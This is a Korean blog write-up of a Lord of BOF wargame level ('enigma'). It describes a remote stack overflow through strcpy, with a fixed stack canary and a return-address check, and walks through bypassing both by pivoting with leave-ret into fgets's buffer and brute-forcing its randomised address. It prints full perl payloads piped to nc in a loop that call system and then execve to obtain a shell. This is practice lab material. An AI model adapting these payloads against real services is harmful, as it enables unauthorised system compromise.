enigma.c의 소스는 아래와 같다.
이번에는 리모트 어택이다. vuln함수 부분에서 strcpy로 overflow가 발생하며, canary check, ret check 부분이 추가 되어있다.
1. canary 값이 0x31337이여야 한다
2. ret의 첫 1byte가 NULL이면 break당함
vuln함수의 스택 구조는 대략 아래와 같을 듯 , ,
|---------|
| *ptr |
|---------|
| canary |
|---------|
| ret |
|---------|
| sfp |
|---------|
| buf |
|---------|
pop-pop-leave-ret이나 leave-ret을 써서 공격 흐름을 바꾸면 된다. main의 fgets로 입력 받은 버퍼를 이용하면 널바이트 문제 없이 system의 주소와 "/bin/sh"의 주소를 넣을 수 있다. 그런데 vuln함수에서 memset으로 ptr이 가리키는 부분을 0으로 초기화 해버린다.
따라서 1. fgets의 임시 버퍼 공간을 이용하거나, 2. ptr이 가리키는 포인터 주소를 조작하고 main의 buf를 이용하는 방법이 있을 것 같다.
1. fgets의 임시 버퍼 공간을 이용 <- 임시 버퍼의 주소가 랜덤하다.
2. ptr이 가리키는 포인터 주소를 조작하고 main의 buf를 이용 <- 스택의 주소가 랜덤하다.
fgets의 임시버퍼 주소 : 0xb7f??000
스택의 주소 : 0xbf??????
변하는 부분이 위와 같았다. 스택의 주소를 맞추는 것은 ...........
fgets 임시버퍼의 경우는 2자리만 맞추면 되서 1/256의 확률이 있다. 그러므로 당연히 fgets의 임시버퍼를 이용하겠다.
----;;;; 아, 어짜피 canary때문에 NULL이 있어서 ptr을 조작할 수 없네요 .;;ㅋㅋ
0xb7f12000를 임시버퍼 주소의 시작으로 생각하고 payload를 구성해보자.
임시버퍼 : 0xb7f72000(+272) -> 0xb7f72110
vuln의 leave-ret : 0x0804858e
canary : 0x31337
system() : 0x7db0e7
&"/bin/sh" : 0x8bd987
"a"x260, "\x10\x21\xf7\xb7", "\x8e\x85\x04\x08", "\x37\x13\x03\x00", "ebp2", "\xe7\xb0\x7d\x00","aaaa","\x87\xd9\x8b\x00"
공격!!
while [ 1 ]; do (perl -e 'print "a"x260, "\x10\x21\xf7\xb7", "\x8e\x85\x04\x08", "\x37\x13\x03\x00", "aaaa", "\xe7\xb0\x7d\x00","aaaa","\x87\xd9\x8b\x00"'; cat)|nc localhost 7777; done
계속해봐도 안되서 삽질을 하다가.... 아래와 같이 execve로 하니가 쉘이 떴다.
(system와 execl로 했을때는 안되던데;; 머가 틀렸는지ㅡ..)
execve : 0x832abc
"a"x260, "\x10\x21\xf7\xb7","\x8e\x85\x04\x08","\x37\x13\x03\x00","ebp2", "\xbc\x2a\x83\x00","aaaa","\x87\xd9\x8b\x00\x28\x21\xf7\xb7\x00\x00\x00\x00", "\x87\xd9\x8b\x00\x00\x00\x00\x00"
0xb7f72128은 뒤쪽의 \x87\xd9.... 부분을 가리키는 포인터이다.
while [ 1 ]; do (perl -e 'print "a"x260, "\x10\x21\xf7\xb7","\x8e\x85\x04\x08","\x37\x13\x03\x00","ebp2", "\xbc\x2a\x83\x00","aaaa","\x87\xd9\x8b\x00\x28\x21\xf7\xb7\x00\x00\x00\x00", "\x87\xd9\x8b\x00\x00\x00\x00\x00"';cat)|nc localhost 7777; done
드디어 쉘이 떨어졌다 ,,,;
'Wargame > LOB_FC' 카테고리의 다른 글
[LOB_FC3] dark_eyes ->hell_fire (0) | 2014.07.12 |
---|---|
[LOB_FC3] iron_golem -> dark_eyes (0) | 2014.07.12 |
[LOB_FC3] gate ->iron_golem (0) | 2014.07.05 |
[LOB_FC4] dark_stone -> cruel (0) | 2012.08.20 |
[LOB_FC3] evil_wizard->dark_stone (0) | 2012.08.18 |